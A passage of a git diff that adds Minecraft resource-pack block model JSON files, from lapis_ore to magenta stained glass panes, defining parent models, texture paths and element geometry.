a/src/assets/minecraft/models/block/lapis_ore.json b/src/assets/minecraft/models/block/lapis_ore.json new file mode 100644 index 00000000..561b8b59 --- /dev/null +++ b/src/assets/minecraft/models/block/lapis_ore.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/lapis_ore" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/large_fern_bottom.json b/src/assets/minecraft/models/block/large_fern_bottom.json new file mode 100644 index 00000000..832383dc --- /dev/null +++ b/src/assets/minecraft/models/block/large_fern_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/tinted_cross", + "textures": { + "cross": "minecraft:block/large_fern_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/large_fern_top.json b/src/assets/minecraft/models/block/large_fern_top.json new file mode 100644 index 00000000..e6d29325 --- /dev/null +++ b/src/assets/minecraft/models/block/large_fern_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/tinted_cross", + "textures": { + "cross": "minecraft:block/large_fern_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lava.json b/src/assets/minecraft/models/block/lava.json new file mode 100644 index 00000000..315d525f --- /dev/null +++ b/src/assets/minecraft/models/block/lava.json @@ -0,0 +1,6 @@ +{ + "textures": { + "particle": "block/lava_still" + } +} + diff --git a/src/assets/minecraft/models/block/leaves.json b/src/assets/minecraft/models/block/leaves.json new file mode 100644 index 00000000..722173fd --- /dev/null +++ b/src/assets/minecraft/models/block/leaves.json @@ -0,0 +1,18 @@ +{ "parent": "block/block", + "textures": { + "particle": "#all" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#all", "tintindex": 0, "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#all", "tintindex": 0, "cullface": "up" }, + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#all", "tintindex": 0, "cullface": "north" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#all", "tintindex": 0, "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#all", "tintindex": 0, "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#all", "tintindex": 0, "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/lectern.json b/src/assets/minecraft/models/block/lectern.json new file mode 100644 index 00000000..8b513b62 --- /dev/null +++ b/src/assets/minecraft/models/block/lectern.json @@ -0,0 +1,55 @@ +{ + "parent": "block/block", + "display": { + "firstperson_righthand": { + "rotation": [ 0, 135, 0 ], + "translation": [ 0, 0, 0 ], + "scale": [ 0.4, 0.4, 0.4 ] + } + }, + "textures": { + "particle": "block/lectern_sides", + "bottom": "block/oak_planks", + "base": "block/lectern_base", + "front": "block/lectern_front", + "sides": "block/lectern_sides", + "top": "block/lectern_top" + }, + "elements": [ + { + "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#base", "cullface": "north" }, + "east": { "uv": [ 0, 6, 16, 8 ], "texture": "#base", "cullface": "east" }, + "south": { "uv": [ 0, 6, 16, 8 ], "texture": "#base", "cullface": "south" }, + "west": { "uv": [ 0, 6, 16, 8 ], "texture": "#base", "cullface": "west" }, + "up": { "uv": [ 0, 0, 16, 16 ], "rotation": 180, "texture": "#base" }, + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [4, 2, 4], + "to": [12, 15, 12], + "faces": { + "north": { "uv": [ 0, 0, 8, 13 ], "texture": "#front" }, + "east": { "uv": [ 2, 16, 15, 8 ], "rotation": 90, "texture": "#sides" }, + "south": { "uv": [ 8, 3, 16, 16 ], "texture": "#front" }, + "west": { "uv": [ 2, 8, 15, 16 ], "rotation": 90, "texture": "#sides" } + } + }, + { + "from": [ 0.01, 12, 3 ], + "to": [ 15.99, 16, 16 ], + "rotation": { "angle": -22.5, "axis": "x", "origin": [ 8, 8, 8 ] }, + "faces": { + "north": { "uv": [ 0, 0, 16, 4 ], "texture": "#sides" }, + "east": { "uv": [ 0, 4, 13, 8 ], "texture": "#sides" }, + "south": { "uv": [ 0, 4, 16, 8 ], "texture": "#sides" }, + "west": { "uv": [ 0, 4, 13, 8 ], "texture": "#sides" }, + "up": { "uv": [ 0, 1, 16, 14 ], "rotation": 180, "texture": "#top" }, + "down": { "uv": [ 0, 0, 16, 13 ], "texture": "#bottom" } + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lever.json b/src/assets/minecraft/models/block/lever.json new file mode 100644 index 00000000..fa7a2b81 --- /dev/null +++ b/src/assets/minecraft/models/block/lever.json @@ -0,0 +1,32 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/cobblestone", + "base": "block/cobblestone", + "lever": "block/lever" + }, + "elements": [ + { "from": [ 5, 0, 4 ], + "to": [ 11, 3, 12 ], + "faces": { + "down": { "uv": [ 5, 4, 11, 12 ], "texture": "#base", "cullface": "down" }, + "up": { "uv": [ 5, 4, 11, 12 ], "texture": "#base" }, + "north": { "uv": [ 5, 0, 11, 3 ], "texture": "#base" }, + "south": { "uv": [ 5, 0, 11, 3 ], "texture": "#base" }, + "west": { "uv": [ 4, 0, 12, 3 ], "texture": "#base" }, + "east": { "uv": [ 4, 0, 12, 3 ], "texture": "#base" } + } + }, + { "from": [ 7, 1, 7 ], + "to": [ 9, 11, 9 ], + "rotation": { "origin": [ 8, 1, 8 ], "axis": "x", "angle": -45 }, + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lever" }, + "north": { "uv": [ 7, 6, 9, 16 ], "texture": "#lever" }, + "south": { "uv": [ 7, 6, 9, 16 ], "texture": "#lever" }, + "west": { "uv": [ 7, 6, 9, 16 ], "texture": "#lever" }, + "east": { "uv": [ 7, 6, 9, 16 ], "texture": "#lever" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/lever_on.json b/src/assets/minecraft/models/block/lever_on.json new file mode 100644 index 00000000..1007274d --- /dev/null +++ b/src/assets/minecraft/models/block/lever_on.json @@ -0,0 +1,32 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/cobblestone", + "base": "block/cobblestone", + "lever": "block/lever" + }, + "elements": [ + { "from": [ 5, 0, 4 ], + "to": [ 11, 3, 12 ], + "faces": { + "down": { "uv": [ 5, 4, 11, 12 ], "texture": "#base", "cullface": "down" }, + "up": { "uv": [ 5, 4, 11, 12 ], "texture": "#base" }, + "north": { "uv": [ 5, 0, 11, 3 ], "texture": "#base" }, + "south": { "uv": [ 5, 0, 11, 3 ], "texture": "#base" }, + "west": { "uv": [ 4, 0, 12, 3 ], "texture": "#base" }, + "east": { "uv": [ 4, 0, 12, 3 ], "texture": "#base" } + } + }, + { "from": [ 7, 1, 7 ], + "to": [ 9, 11, 9 ], + "rotation": { "origin": [ 8, 1, 8 ], "axis": "x", "angle": 45 }, + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lever" }, + "north": { "uv": [ 7, 6, 9, 16 ], "texture": "#lever" }, + "south": { "uv": [ 7, 6, 9, 16 ], "texture": "#lever" }, + "west": { "uv": [ 7, 6, 9, 16 ], "texture": "#lever" }, + "east": { "uv": [ 7, 6, 9, 16 ], "texture": "#lever" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/light_blue_carpet.json b/src/assets/minecraft/models/block/light_blue_carpet.json new file mode 100644 index 00000000..e1949fe8 --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/light_blue_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_blue_concrete.json b/src/assets/minecraft/models/block/light_blue_concrete.json new file mode 100644 index 00000000..28590f93 --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/light_blue_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_blue_concrete_powder.json b/src/assets/minecraft/models/block/light_blue_concrete_powder.json new file mode 100644 index 00000000..f660be90 --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/light_blue_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_blue_glazed_terracotta.json b/src/assets/minecraft/models/block/light_blue_glazed_terracotta.json new file mode 100644 index 00000000..86980349 --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/light_blue_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_blue_shulker_box.json b/src/assets/minecraft/models/block/light_blue_shulker_box.json new file mode 100644 index 00000000..41f67725 --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/light_blue_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_blue_stained_glass.json b/src/assets/minecraft/models/block/light_blue_stained_glass.json new file mode 100644 index 00000000..6011b954 --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/light_blue_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_blue_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/light_blue_stained_glass_pane_noside.json new file mode 100644 index 00000000..66b5851a --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/light_blue_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_blue_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/light_blue_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..3c028538 --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/light_blue_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_blue_stained_glass_pane_post.json b/src/assets/minecraft/models/block/light_blue_stained_glass_pane_post.json new file mode 100644 index 00000000..e01eb548 --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/light_blue_stained_glass", + "edge": "minecraft:block/light_blue_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_blue_stained_glass_pane_side.json b/src/assets/minecraft/models/block/light_blue_stained_glass_pane_side.json new file mode 100644 index 00000000..7aee348a --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/light_blue_stained_glass", + "edge": "minecraft:block/light_blue_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_blue_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/light_blue_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..3ed7d59e --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/light_blue_stained_glass", + "edge": "minecraft:block/light_blue_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_blue_terracotta.json b/src/assets/minecraft/models/block/light_blue_terracotta.json new file mode 100644 index 00000000..24816bc4 --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/light_blue_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_blue_wool.json b/src/assets/minecraft/models/block/light_blue_wool.json new file mode 100644 index 00000000..4a4b3f04 --- /dev/null +++ b/src/assets/minecraft/models/block/light_blue_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/light_blue_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_carpet.json b/src/assets/minecraft/models/block/light_gray_carpet.json new file mode 100644 index 00000000..29042319 --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/light_gray_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_concrete.json b/src/assets/minecraft/models/block/light_gray_concrete.json new file mode 100644 index 00000000..a723d19e --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/light_gray_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_concrete_powder.json b/src/assets/minecraft/models/block/light_gray_concrete_powder.json new file mode 100644 index 00000000..bcbe6853 --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/light_gray_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_glazed_terracotta.json b/src/assets/minecraft/models/block/light_gray_glazed_terracotta.json new file mode 100644 index 00000000..4732a356 --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/light_gray_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_shulker_box.json b/src/assets/minecraft/models/block/light_gray_shulker_box.json new file mode 100644 index 00000000..265780f9 --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/light_gray_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_stained_glass.json b/src/assets/minecraft/models/block/light_gray_stained_glass.json new file mode 100644 index 00000000..bf861d69 --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/light_gray_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/light_gray_stained_glass_pane_noside.json new file mode 100644 index 00000000..e31a39fd --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/light_gray_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/light_gray_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..3b24feda --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/light_gray_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_stained_glass_pane_post.json b/src/assets/minecraft/models/block/light_gray_stained_glass_pane_post.json new file mode 100644 index 00000000..ba678c24 --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/light_gray_stained_glass", + "edge": "minecraft:block/light_gray_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_stained_glass_pane_side.json b/src/assets/minecraft/models/block/light_gray_stained_glass_pane_side.json new file mode 100644 index 00000000..e063add9 --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/light_gray_stained_glass", + "edge": "minecraft:block/light_gray_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/light_gray_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..f848d99f --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/light_gray_stained_glass", + "edge": "minecraft:block/light_gray_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_terracotta.json b/src/assets/minecraft/models/block/light_gray_terracotta.json new file mode 100644 index 00000000..19aa6402 --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/light_gray_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_gray_wool.json b/src/assets/minecraft/models/block/light_gray_wool.json new file mode 100644 index 00000000..d490cc2e --- /dev/null +++ b/src/assets/minecraft/models/block/light_gray_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/light_gray_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_weighted_pressure_plate.json b/src/assets/minecraft/models/block/light_weighted_pressure_plate.json new file mode 100644 index 00000000..7941d43f --- /dev/null +++ b/src/assets/minecraft/models/block/light_weighted_pressure_plate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_up", + "textures": { + "texture": "minecraft:block/gold_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/light_weighted_pressure_plate_down.json b/src/assets/minecraft/models/block/light_weighted_pressure_plate_down.json new file mode 100644 index 00000000..8e9c2926 --- /dev/null +++ b/src/assets/minecraft/models/block/light_weighted_pressure_plate_down.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_down", + "textures": { + "texture": "minecraft:block/gold_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lilac_bottom.json b/src/assets/minecraft/models/block/lilac_bottom.json new file mode 100644 index 00000000..e1bf8969 --- /dev/null +++ b/src/assets/minecraft/models/block/lilac_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/lilac_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lilac_top.json b/src/assets/minecraft/models/block/lilac_top.json new file mode 100644 index 00000000..e5fc35b7 --- /dev/null +++ b/src/assets/minecraft/models/block/lilac_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/lilac_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lily_of_the_valley.json b/src/assets/minecraft/models/block/lily_of_the_valley.json new file mode 100644 index 00000000..6f0a89ac --- /dev/null +++ b/src/assets/minecraft/models/block/lily_of_the_valley.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/lily_of_the_valley" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lily_pad.json b/src/assets/minecraft/models/block/lily_pad.json new file mode 100644 index 00000000..a775a8dc --- /dev/null +++ b/src/assets/minecraft/models/block/lily_pad.json @@ -0,0 +1,16 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/lily_pad", + "texture": "block/lily_pad" + }, + "elements": [ + { "from": [ 0, 0.25, 0 ], + "to": [ 16, 0.25, 16 ], + "faces": { + "down": { "uv": [ 16, 16, 0, 0 ], "texture": "#texture", "tintindex": 0 }, + "up": { "uv": [ 16, 0, 0, 16 ], "texture": "#texture", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/lime_carpet.json b/src/assets/minecraft/models/block/lime_carpet.json new file mode 100644 index 00000000..028c4987 --- /dev/null +++ b/src/assets/minecraft/models/block/lime_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/lime_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lime_concrete.json b/src/assets/minecraft/models/block/lime_concrete.json new file mode 100644 index 00000000..e0e92123 --- /dev/null +++ b/src/assets/minecraft/models/block/lime_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/lime_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lime_concrete_powder.json b/src/assets/minecraft/models/block/lime_concrete_powder.json new file mode 100644 index 00000000..48f4b696 --- /dev/null +++ b/src/assets/minecraft/models/block/lime_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/lime_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lime_glazed_terracotta.json b/src/assets/minecraft/models/block/lime_glazed_terracotta.json new file mode 100644 index 00000000..b6211a73 --- /dev/null +++ b/src/assets/minecraft/models/block/lime_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/lime_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lime_shulker_box.json b/src/assets/minecraft/models/block/lime_shulker_box.json new file mode 100644 index 00000000..aafff7dd --- /dev/null +++ b/src/assets/minecraft/models/block/lime_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/lime_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lime_stained_glass.json b/src/assets/minecraft/models/block/lime_stained_glass.json new file mode 100644 index 00000000..b06899ca --- /dev/null +++ b/src/assets/minecraft/models/block/lime_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/lime_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lime_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/lime_stained_glass_pane_noside.json new file mode 100644 index 00000000..51a062c5 --- /dev/null +++ b/src/assets/minecraft/models/block/lime_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/lime_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lime_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/lime_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..7b0a67ac --- /dev/null +++ b/src/assets/minecraft/models/block/lime_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/lime_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lime_stained_glass_pane_post.json b/src/assets/minecraft/models/block/lime_stained_glass_pane_post.json new file mode 100644 index 00000000..0861b376 --- /dev/null +++ b/src/assets/minecraft/models/block/lime_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/lime_stained_glass", + "edge": "minecraft:block/lime_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lime_stained_glass_pane_side.json b/src/assets/minecraft/models/block/lime_stained_glass_pane_side.json new file mode 100644 index 00000000..db3f4041 --- /dev/null +++ b/src/assets/minecraft/models/block/lime_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/lime_stained_glass", + "edge": "minecraft:block/lime_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lime_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/lime_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..57dff047 --- /dev/null +++ b/src/assets/minecraft/models/block/lime_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/lime_stained_glass", + "edge": "minecraft:block/lime_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lime_terracotta.json b/src/assets/minecraft/models/block/lime_terracotta.json new file mode 100644 index 00000000..7a7ee776 --- /dev/null +++ b/src/assets/minecraft/models/block/lime_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/lime_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lime_wool.json b/src/assets/minecraft/models/block/lime_wool.json new file mode 100644 index 00000000..3452083b --- /dev/null +++ b/src/assets/minecraft/models/block/lime_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/lime_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/lodestone.json b/src/assets/minecraft/models/block/lodestone.json new file mode 100644 index 00000000..f38f3e9a --- /dev/null +++ b/src/assets/minecraft/models/block/lodestone.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/lodestone_top", + "side": "minecraft:block/lodestone_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/loom.json b/src/assets/minecraft/models/block/loom.json new file mode 100644 index 00000000..9eff06b6 --- /dev/null +++ b/src/assets/minecraft/models/block/loom.json @@ -0,0 +1,9 @@ +{ + "parent": "minecraft:block/orientable_with_bottom", + "textures": { + "top": "minecraft:block/loom_top", + "bottom": "minecraft:block/loom_bottom", + "side": "minecraft:block/loom_side", + "front": "minecraft:block/loom_front" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magenta_carpet.json b/src/assets/minecraft/models/block/magenta_carpet.json new file mode 100644 index 00000000..466161a3 --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/magenta_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magenta_concrete.json b/src/assets/minecraft/models/block/magenta_concrete.json new file mode 100644 index 00000000..73bbc6d4 --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/magenta_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magenta_concrete_powder.json b/src/assets/minecraft/models/block/magenta_concrete_powder.json new file mode 100644 index 00000000..e5a38d46 --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/magenta_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magenta_glazed_terracotta.json b/src/assets/minecraft/models/block/magenta_glazed_terracotta.json new file mode 100644 index 00000000..f36a5e7d --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/magenta_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magenta_shulker_box.json b/src/assets/minecraft/models/block/magenta_shulker_box.json new file mode 100644 index 00000000..6bb156a3 --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/magenta_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magenta_stained_glass.json b/src/assets/minecraft/models/block/magenta_stained_glass.json new file mode 100644 index 00000000..6e4da4ca --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/magenta_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/magenta_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/magenta_stained_glass_pane_noside.json new file mode 100644 index 00000000..8d6019b8 --- /dev/null +++ b/src/assets/minecraft/models/block/magenta_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/magenta_stained_glass" + } +} \ No newline at end of file diff 